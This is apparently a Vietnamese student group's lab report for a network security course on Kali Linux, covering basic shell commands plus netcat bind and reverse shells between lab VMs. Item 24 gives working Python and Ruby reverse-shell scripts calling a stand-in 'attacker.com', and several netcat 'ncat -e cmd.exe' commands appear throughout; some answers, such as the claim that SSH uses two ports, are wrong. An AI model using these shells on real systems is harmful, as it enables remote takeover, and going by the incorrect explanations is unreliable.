

BÁO CÁO THỰC HÀNH

Môn học: An toàn mạng máy tính

Lab 1: Getting Comfortable with Kali Linux

GVHD: Đoàn Minh Trung

1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT140.012.ATCL – Nhóm

STT	Họ và tên	MSSV	Email
1	Bùi Hoàng Trúc Anh	21521817	21521817@gm.uit.edu.vn
s2	Lê Hoàng Oanh	21521253	21521253@gm.uit.edu.vn
3	Nguyễn Ngọc Trà My	21520353	21520353@gm.uit.edu.vn
4	Huỳnh Minh Tân Tiến	21521520	21521520@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:

STT	Công việc	Kết quả tự đánh giá
1	Bài tập trên lớp: 24	100%
2	Bài tập về nhà: 1 – 24	100%
3	CTF	100%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

BÁO CÁO CHI TIẾT

Bài tập trên lớp:

Bài thực hành 25: Quản trị từ xa với Netcat

```
C:\Windows\system32>ncat -lvnp 4444 -e cmd.exe
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.10.129:35606.
```

```
(root@kali)-[~]
# nc -nv 192.168.10.130 4444
(UNKNOWN) [192.168.10.130] 4444 (?) open
Microsoft Windows [Version 10.0.19041.264]
(c) 2020 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>ncat 192.168.10.129 4444 -e cmd.exe
```

```
(root@kali)-[~]
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.10.129] from (UNKNOWN) [192.168.10.130] 50949
Microsoft Windows [Version 10.0.19041.264]
(c) 2020 Microsoft Corporation. All rights reserved.
```

Bài tập về nhà:

1. Sử dụng lệnh which để xác định vị trí lưu trữ của lệnh pwd.

```
(a@kali)-[~]
$ which pwd
pwd: shell built-in command
```

2. Sử dụng lệnh locate để xác định vị trí lưu trữ wce32.exe

```
(a@kali)-[~]
$ locate wce32.exe
/usr/share/windows-resources/wce/wce32.exe
```

3. Sử dụng lệnh find để xác định bất kỳ tập tin (không phải thư mục) đã được sửa đổi vào ngày trước đó, KHÔNG thuộc sở hữu của user root và thực thi lệnh ls -l trên chúng. KHÔNG được sử dụng các lệnh pipeline/chaining

```
(a@kali)-[~]
$ find / -type f -not -user root -mtime -1 -exec ls -l {} \;
find: '/var/log/speech-dispatcher': Permission denied
find: '/var/log/private': Permission denied
find: '/var/log/inetd': Permission denied
find: '/var/log/lightdm': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/private': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
```

- **/path/to/search** là thư mục bạn muốn tìm kiếm trong đó.
- **-type f** xác định rằng chúng ta đang tìm các tập tin (không phải thư mục).
- **-not -user root** loại trừ các tập tin mà sở hữu bởi người dùng root.
- **-mtime -1** xác định rằng chúng ta chỉ quan tâm đến các tập tin đã được sửa đổi vào ngày trước đó (ngày tính từ hiện tại).
- **-exec ls -l {} \;** thực thi lệnh **ls -l** trên từng tập tin kết quả được tìm thấy.

4. Liệt kê các port đang được mở trên Kali Linux

```
(a@kali)-[~]
$ sudo systemctl start ssh
[sudo] password for a:

(a@kali)-[~]
$ sudo service apache2 start

(a@kali)-[~]
$ nmap localhost
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 02:52 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00014s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
```

5. Tại sao khi kiểm tra dịch vụ SSH có đang chạy hay không (Hình 10), kết quả hiển thị 2 dòng, trong khi dịch vụ HTTP (Hình 13), kết quả chỉ có 1 dòng.

SSH là một hệ thống xác thực tên người dùng / mật khẩu tích hợp để thiết lập kết nối. Việc trao đổi thông tin giữa Client-Server cần phải có sự kết nối qua lại giữa 2 thực thể, vì thế SSH sẽ cần 2 cổng để có thể giao tiếp với nhau. Trong khi đó, HTTP có nghĩa là giao thức truyền siêu văn bản. Giao thức này xác định cách các thông báo được định dạng và truyền đi nên không cần tới 2 cổng để giao tiếp.

6. Ngăn dịch vụ SSH chạy cùng với hệ thống lúc khởi động.

```
(root@kali)-[~]
# sudo systemctl start ssh

(the quieter you become, the more you are able to hear)

(root@kali)-[~]
# sudo systemctl enable ssh
Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable ssh
Created symlink /etc/systemd/system/ssh.service → /lib/systemd/system/ssh.service.
Created symlink /etc/systemd/system/multi-user.target.wants/ssh.service → /lib/systemd/system/ssh.service.

(root@kali)-[~]
# sudo systemctl disable ssh
Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable ssh
Removed "/etc/systemd/system/ssh.service".
Removed "/etc/systemd/system/multi-user.target.wants/ssh.service".
```

7. Lịch sử các lệnh thực ra được lưu trữ ở đâu? Liệt kê các ưu, nhược điểm khi thực hiện lưu trữ lại các lệnh đã nhập?

Theo mặc định, lịch sử được ghi vào ~/.bash_history, điều này được đặt trong biến \$HISTFILE, để kiểm tra:

```
(root@kali)-[~]
# echo $HISTFILE
/root/.zsh_history
```

Các ưu, nhược điểm khi thực hiện lưu trữ lại các lệnh đã nhập trong kali linux là:

- Ưu điểm:
 - + Giúp kiểm tra lại các lệnh đã thực thi trên hệ thống.
 - + Giúp thực hiện lại các lệnh một cách nhanh chóng và dễ dàng.
 - + Giúp tìm kiếm và lọc các lệnh theo từ khóa hoặc biểu thức chính quy.
- Nhược điểm:
 - + Lưu trữ các lệnh đã nhập sẽ bao gồm những câu lệnh sai trước đó, khiến ta dễ bị nhầm lẫn giữa các lệnh khác với nhau.

8. Có cách nào để ngăn chặn việc lưu trữ lịch sử lệnh hay không? Nếu có, hãy mô tả cách làm.

HISTSIZE kiểm soát số command lưu trữ trong bộ nhớ của phiên làm việc hiện hành. Để ngăn chặn việc lưu trữ lịch sử lệnh, ta sử dụng câu lệnh dưới để điều chỉnh HISTSIZE bằng 0.

```
(root@kali)~# history
1 find / -type f -not -user root -mtime -1 -exec ls -l {} \;
2 sudo systemctl start ssh
3 sudo systemctl enable ssh
4 sudo systemctl disable ssh
5 sudo systemctl start ssh
6 sudo systemctl enable ssh
7 sudo systemctl disable ssh
8 echo $HISTFILE

(root@kali)~# export HISTSIZE=0

(root@kali)~# history
11 history
```

9. Ngoài cách sử dụng tiện ích history expansion, còn cách nào để thực hiện lại các lệnh đã nhập một cách nhanh chóng hay không? Nếu có, hãy mô tả cách làm.

Ngoài sử dụng tiện ích history expansion, ta có thể dùng phím control của keyboard: nút lên và nút xuống. Với nút lên, ta có thể dễ dàng lấy được các câu lệnh đã thực thi. Trong khi đó, nút xuống sẽ ngược lại.

10. Như đã biết, khi sử dụng toán tử ">" để xuất kết quả vô tập tin, nếu tập tin đã tồn tại, nội dung trong tập tin sẽ bị thay thế bằng nội dung mới. Vậy, có cách nào để hoàn tác lại quá trình này hay không? Nếu có, hãy mô tả cách làm.

Hầu như các tác vụ được thực hiện trong Linux không thể hoàn tác các chức năng mà ta đã thực hiện. Để có thể tránh những sự kiện đáng tiếc, ta nên xem xét tạo một file dự phòng trước khi thực hiện thay đổi với tập tin chính. Hoặc là sử dụng toán tử ">>" để có thể giữ lại cả nội dung cũ và mới, sau đó xem xét nên chọn hay xóa phiên bản nào.

11. Sử dụng lệnh `cat` cùng với lệnh `sort` để sắp xếp lại nội dung của tập tin `/etc/passwd`, sau đó lưu kết quả vào một tập tin mới có tên `passwd_new` và thực hiện đếm số lượng dòng có trong tập tin mới

```
(kali@kali)-[~/NT140]
$ cat /etc/passwd | sort >> passwd_new

(kali@kali)-[~/NT140]
$ wc -l passwd_new
56 passwd_new

(kali@kali)-[~/NT140]
$ ss
```

12. Sử dụng tập tin `/etc/passwd`, trích xuất tên user và home directory cho tất cả user có shell được thiết lập là `/usr/sbin/nologin`. Lưu ý, chỉ sử dụng 1 dòng lệnh duy nhất. Kết quả xuất ra màn hình như hình dưới.

```
(my@kali)-[~]
$ awk -F: '/usr/sbin/nologin/ {print "User:", $1, "Home Directory:", $6}' /etc/passwd
awk: cmd. line:1: warning: regexp escape sequence '\u' is not a known regexp operator
User: daemon Home Directory: /usr/sbin
User: bin Home Directory: /bin
User: sys Home Directory: /dev
User: games Home Directory: /usr/games
User: man Home Directory: /var/cache/man
User: lp Home Directory: /var/spool/lpd
User: mail Home Directory: /var/mail
User: news Home Directory: /var/spool/news
User: uucp Home Directory: /var/spool/uucp
User: proxy Home Directory: /bin
User: www-data Home Directory: /var/www
User: backup Home Directory: /var/backups
User: list Home Directory: /var/list
User: irc Home Directory: /run/ircd
User: _apt Home Directory: /nonexistent
User: nobody Home Directory: /nonexistent
User: systemd-network Home Directory: /
User: strongswan Home Directory: /var/lib/strongswan
User: systemd-timesync Home Directory: /
User: redsocks Home Directory: /var/run/redsocks
User: rwhod Home Directory: /var/spool/rwho
User: _gophish Home Directory: /var/lib/gophish
User: iodine Home Directory: /run/iodine
User: messagebus Home Directory: /nonexistent
User: miredo Home Directory: /var/run/miredo
User: redis Home Directory: /var/lib/redis
User: usbmux Home Directory: /var/lib/usbmux
User: mosquito Home Directory: /var/lib/mosquitto
User: tcpdump Home Directory: /nonexistent
User: sshd Home Directory: /run/sshd
User: _rpc Home Directory: /run/rpcbind
User: dnsmasq Home Directory: /var/lib/misc
User: statd Home Directory: /var/lib/nfs
User: avahi Home Directory: /run/avahi-daemon
User: stunnel4 Home Directory: /var/run/stunnel4
User: _gvm Home Directory: /var/lib/openvas
User: ssh Home Directory: /nonexistent
User: pulse Home Directory: /run/pulse
User: inetsim Home Directory: /var/lib/inetsim
User: geoclue Home Directory: /var/lib/geoclue
User: saned Home Directory: /var/lib/saned
User: polkitd Home Directory: /nonexistent
User: rtkit Home Directory: /proc
User: colord Home Directory: /var/lib/colord
User: nm-openvpn Home Directory: /var/lib/openvpn/chroot
User: nm-openconnect Home Directory: /var/lib/NetworkManager

(my@kali)-[~]
$
```

Giải thích:

-F:: Đây là tùy chọn để chỉ định ngăn cách giữa các trường trong tệp. Trong trường hợp này, các trường được ngăn cách bởi dấu hai chấm .:

/\usr\sbin\nologin/: Đây là mẫu (pattern) để tìm kiếm trong tệp /etc/passwd. Trong trường hợp này, chúng ta tìm kiếm các dòng mà chứa /usr/sbin/nologin.

{print "User:", \$1, "Home Directory:", \$6}: Đây là phần hành động sẽ thực hiện nếu dòng đó khớp với mẫu. Nó sẽ in ra tên người dùng (cột đầu tiên) và thư mục gốc (cột thứ sáu).

13. Tải tập tin access_log.txt.gz tại

(https://github.com/blakduk/ahihi/raw/master/access_log.txt.gz), sau đó thực hiện liệt kê danh sách các địa chỉ IP và số lượng tương ứng, thực hiện sắp xếp giảm dần.

```
(my@kali)-[~]
$ awk '{count[$1]++} END {for (ip in count) print "The IP Address " ip," has hit " count[ip]} access_log.txt | sort -k4,4nr
The IP Address 208.68.234.99 has hit 1038
The IP Address 208.54.80.244 has hit 22
The IP Address 208.115.113.91 has hit 59
The IP Address 201.21.152.44 has hit 1
The IP Address 99.127.177.95 has hit 21
The IP Address 98.238.13.253 has hit 8
The IP Address 88.112.192.2 has hit 8
The IP Address 72.133.47.242 has hit 8
The IP Address 70.194.129.34 has hit 8
```

'awk '{count[\$1]++}': Trong lệnh này, mỗi địa chỉ IP (\$1) được sử dụng làm chỉ số trong mảng count. Mỗi lần một địa chỉ IP xuất hiện, giá trị tương ứng tăng lên 1.

END {for (ip in count) print "The IP Address " ip," has hit " count[ip]}: Sau khi quá trình duyệt qua tất cả các dòng, phần này sẽ in ra danh sách các địa chỉ IP và số lượng tương ứng.

| sort -k4,4nr: Kết quả đầu ra từ AWK được đưa vào lệnh sort để sắp xếp theo số lượng giảm dần (-k4,4nr sắp xếp theo cột thứ 4, và nr để đảo ngược thứ tự).

14. Hãy cho biết đường dẫn thực thi của 2 lệnh wget và curl?

```
(kali@kali)-[~/NT140]
$ locate curl
/usr/bin/curl
```

```
(kali@kali)-[~/NT140]
$ locate wget
/etc/wgetrc
/usr/bin/wget
```


15. Theo bạn, trong 2 lệnh tải về wget và curl, lệnh nào ưu việt hơn? Giải thích?

Wget được thiết kế để trở thành một công cụ đơn giản, đáng tin cậy để tải xuống các tệp

Curl được thiết kế để trở thành một công cụ linh hoạt hơn và có thể xử lý nhiều định dạng dữ liệu khác nhau, bao gồm JSON, XML và CSV. Nó cũng có thể tải lên dữ liệu và tương tác với API (Ưu việt hơn)

16. Có thể sử dụng lệnh curl để thay đổi các HTTP header được hay không? Nếu được, cho ví dụ?

Có: curl -H "Host: example.com" http://localhost/ để thay đổi host của client
chưa có hình, t vừa xóa nhầm cái máy ảo!!! nhớ bổ sung hình dō :)))

Triển khai ứng dụng chat đơn giản trên 2 máy Kali và Windows 10. Và trả lời các câu hỏi sau:

```
C:\Windows\system32>ncat -lvnp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.10.129:49934.
hello
nice to meet you
```

```
(root@kali)-[~]
# nc -nv 192.168.10.130 4444
(UNKNOWN) [192.168.10.130] 4444 (?) open
hello
nice to meet you
```

17. Máy chủ nào sẽ đóng vai trò là server?

Máy chủ bên windows 10 sẽ đóng vai trò là server. Vì máy chủ windows 10 là nơi mở port kết nối với các client.

18. Máy chủ nào sẽ đóng vai trò là client?

Máy chủ bên Kali sẽ đóng vai trò là client. Vì máy chủ Kali là nơi chủ động kết nối với IP của máy chủ windows tại port 4444.

19. Nếu khai báo lệnh “nc -lvnp 4444” thì thật chất, port 4444 được mở ở máy nào?

Port 4444 sẽ được mở ngay tại máy chủ (Server).

20. Thực hiện chuyển tập tin wget.exe trên máy Kali sang máy Windows 10.

```
(root@kali)~# nc -nv 192.168.10.130 4444 < /usr/share/windows-resources/binaries/wget.exe
(UNKNOWN) [192.168.10.130] 4444 (?) open

C:\Windows\system32>ncat -lvnp 4444 > wget2.exe
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.10.129:58160.

C:\Windows\system32>wget2.exe --help
GNU Wget 1.9.1, a non-interactive network retriever.
Usage: wget2 [OPTION]... [URL]...

Mandatory arguments to long options are mandatory for short options too.
```

21. Thực hiện lại chi tiết kịch bản Reverse Shell và Bind Shell sử dụng netcat.

Bind shell:

```
(root@kali)~# nc -nv 192.168.10.130 4444
(UNKNOWN) [192.168.10.130] 4444 (?) open
Microsoft Windows [Version 10.0.19041.264]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . : localdomain
    Link-local IPv6 Address . . . . . : fe80::11b1:1436:814d:861f%6
    IPv4 Address. . . . . : 192.168.10.130
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.10.2

Ethernet adapter Bluetooth Network Connection:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :

C:\Windows\system32>
```

```
C:\Windows\system32>ncat -lvnp 4444 -e cmd.exe
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.10.129:44848.
```

Máy Kali là máy của kẻ tấn công. Máy windows 10 là máy nạn nhân, thực hiện chạy chương trình cmd.exe trên port 4444. Máy kali kết nối vào port 4444, chiếm dụng quyền điều khiển cmd.exe và thực thi các câu lệnh trên máy windows.

Reverse shell:

```
(root@kali)~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.10.129] from (UNKNOWN) [192.168.10.130] 52494
Microsoft Windows [Version 10.0.19041.264]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . : localdomain
    Link-local IPv6 Address . . . . . : fe80::11b1:1436:814d:861f%6
    IPv4 Address. . . . . : 192.168.10.130
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.10.2

Ethernet adapter Bluetooth Network Connection:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :
```

```
C:\Windows\system32>ncat 192.168.10.129 4444 -e cmd.exe
```

Máy kali là máy của kẻ tấn công. Máy kali sẽ thực hiện lắng nghe trên port 4444. Máy windows là máy nạn nhân, sẽ kết nối vào port 4444 và cung cấp chương trình cmd.exe (của máy nạn nhân) để kẻ tấn công có thể điều khiển từ xa.

22. So sánh ưu và nhược điểm khi sử dụng Reverse Shell và Bind Shell? Khi nào nên sử dụng Bind Shell? Khi nào nên sử dụng Reverse Shell?

Reverse Shell và Bind Shell là hai kỹ thuật phổ biến trong việc tạo một kết nối từ xa đến máy tính mục tiêu hoặc từ máy tính mục tiêu đến máy chủ tấn công. Dưới đây là sự so sánh giữa ưu điểm và nhược điểm của cả hai, cùng với khi nào nên sử dụng mỗi loại:

Reverse Shell:

- Ưu điểm của Reverse Shell:
 - Được sử dụng khi máy tính mục tiêu nằm sau một tường lửa hoặc NAT (Network Address Translation) vì nó không yêu cầu mở các cổng ra ngoài.
 - Dễ dàng thực hiện khi máy tính mục tiêu đã bị nhiễm mã độc hoặc máy tính nằm trong mạng nội bộ.
- Nhược điểm của Reverse Shell:
 - Yêu cầu máy chủ tấn công sẵn sàng lắng nghe các kết nối đến, điều này có thể làm lộ vị trí của máy chủ tấn công.
 - Không thể sử dụng nếu máy tính mục tiêu không thể kết nối ra ngoài internet hoặc không có quyền truy cập internet.

Bind Shell:

- Ưu điểm của Bind Shell:
 - Không cần máy chủ tấn công sẵn sàng lắng nghe, nên không tiết lộ vị trí của máy chủ tấn công.
 - Thích hợp cho các tấn công trên các hệ thống trong mạng nội bộ, nơi mạng chặn không gây trở ngại.
- Nhược điểm của Bind Shell:
 - Cần mở một cổng trên máy tính mục tiêu để lắng nghe kết nối, điều này có thể dễ bị phát hiện bởi các công cụ kiểm tra bảo mật hoặc các người quản trị hệ thống.
 - Khó sử dụng khi máy tính mục tiêu nằm sau tường lửa hoặc NAT vì yêu cầu mở cổng ra ngoài.

Khi nào nên sử dụng Bind Shell và Reverse Shell:

- Sử dụng Bind Shell khi:
 - Bạn muốn tấn công máy tính nằm trong mạng nội bộ và không có rào cản về mạng.
 - Bạn muốn giảm nguy cơ bị phát hiện, và bạn có thể mở các cổng một cách tùy ý trên máy tính mục tiêu.

2. Sử dụng Reverse Shell khi:

- Máy tính mục tiêu nằm sau tường lửa hoặc NAT, và bạn không thể mở cổng trực tiếp từ bên ngoài.
- Bạn cần tiết kiệm thời gian và công sức trong việc thiết lập máy chủ tấn công để lắng nghe kết nối đến.
- Bạn muốn tấn công máy tính mục tiêu từ bên ngoài mạng.

23. Thực hiện trao đổi tập tin, bind shell và reverse shell sử dụng PowerShell

Bindshell sử dụng PowerShell

```

Administrator: Windows PowerShell
PS C:\Windows\system32> ncat 192.168.23.129 4444 -e cmd.exe
PS C:\Windows\system32>

(t4nti3n@kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.23.129] from (UNKNOWN) [192.168.23.130] 49
930
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
desktop-peii429\user

C:\Windows\system32>hostname
hostname
DESKTOP-PEII429

```

Reverse shell

```

Administrator: Windows PowerShell
PS C:\Windows\system32> ncat -lvnp 4444 -e cmd.exe
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.23.129:52948.

(t4nti3n@kali)-[~]
$ nc 192.168.23.130 4444
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
desktop-peii429\user

C:\Windows\system32>hostname
hostname
DESKTOP-PEII429

C:\Windows\system32>

```

Truyền file

```
Administrator: Windows PowerShell
PS C:\Windows\system32> ncat -lvnp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.23.129:38728.
WwXoWwFIVTFSblZKUjFCRWMzbENhVFJpZFZRPQ==
```



```
(t4nti3n@kali)-[~]
$ nc 192.168.23.130 4444 < test.txt
^C

(t4nti3n@kali)-[~]
$ cat test.txt
WwXoWwFIVTFSblZKUjFCRWMzbENhVFJpZFZRPQ==
```

24. Ngoài netcat và powershell, còn cách nào có thể tạo ra được reverse shell và bind shell không? Cho một ví dụ.

Có nhiều công cụ và kỹ thuật khác để tạo reverse shell và bind shell ngoài việc sử dụng Netcat và PowerShell. Dưới đây là một số ví dụ:

Python ▾

 Copy  Caption ...

```
import socket
import subprocess

HOST = 'attacker.com' # Địa chỉ IP hoặc tên miền của máy chủ tấn công
PORT = 12345          # Cổng lắng nghe

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((HOST, PORT))

while True:
    data = client.recv(1024).decode('utf-8')
    if data == 'exit':
        break
    elif data.startswith('cd'):
        directory = data.split(' ', 1)[1]
        try:
            os.chdir(directory)
        except:
            pass
    else:
        cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output_bytes = cmd.stdout.read() + cmd.stderr.read()
        output_str = str(output_bytes, 'utf-8')
        client.send(output_str.encode('utf-8'))

client.close()
```

Ruby ▾

```
require 'socket'
require 'open3'

host = 'attacker.com'
port = 12345

socket = TCPSocket.new(host, port)
input, output, error = Open3.popen3('/bin/sh')

Thread.new do
  while (line = socket.gets)
    input.puts line
  end
end

Thread.new do
  while (line = output.gets)
    socket.puts line
  end
end

Thread.new do
  while (line = error.gets)
    socket.puts line
  end
end

sleep
```

Sinh viên đọc kỹ yêu cầu trình bày bên dưới trang này

YÊU CẦU CHUNG

- Sinh viên tìm hiểu và thực hiện bài tập theo yêu cầu, hướng dẫn.
- Nộp báo cáo kết quả chi tiết những việc (**Report**) bạn đã thực hiện, quan sát thấy và kèm ảnh chụp màn hình kết quả (nếu có); giải thích cho quan sát (nếu có).
- Sinh viên nộp bài theo thời gian quy định trên course.

Báo cáo:

- File **.PDF**. Tập trung vào nội dung, không mô tả lý thuyết.
- Đặt tên theo định dạng: **[Mã lớp]-AssignmentX_NhomY** (trong đó X là Thứ tự Assignment, Y là số thứ tự nhóm đồ án theo danh sách đã đăng ký).

Ví dụ: *[NT521.011.ATCL]-Assignment01_Nhom03.pdf*

- Nếu báo cáo có nhiều file, nén tất cả file vào file .ZIP với cùng tên file báo cáo.

Đánh giá:

- Hoàn thành tốt yêu cầu được giao.
- Có nội dung mở rộng, ứng dụng.

Bài sao chép, trễ, ... sẽ được xử lý tùy mức độ vi phạm.

HẾT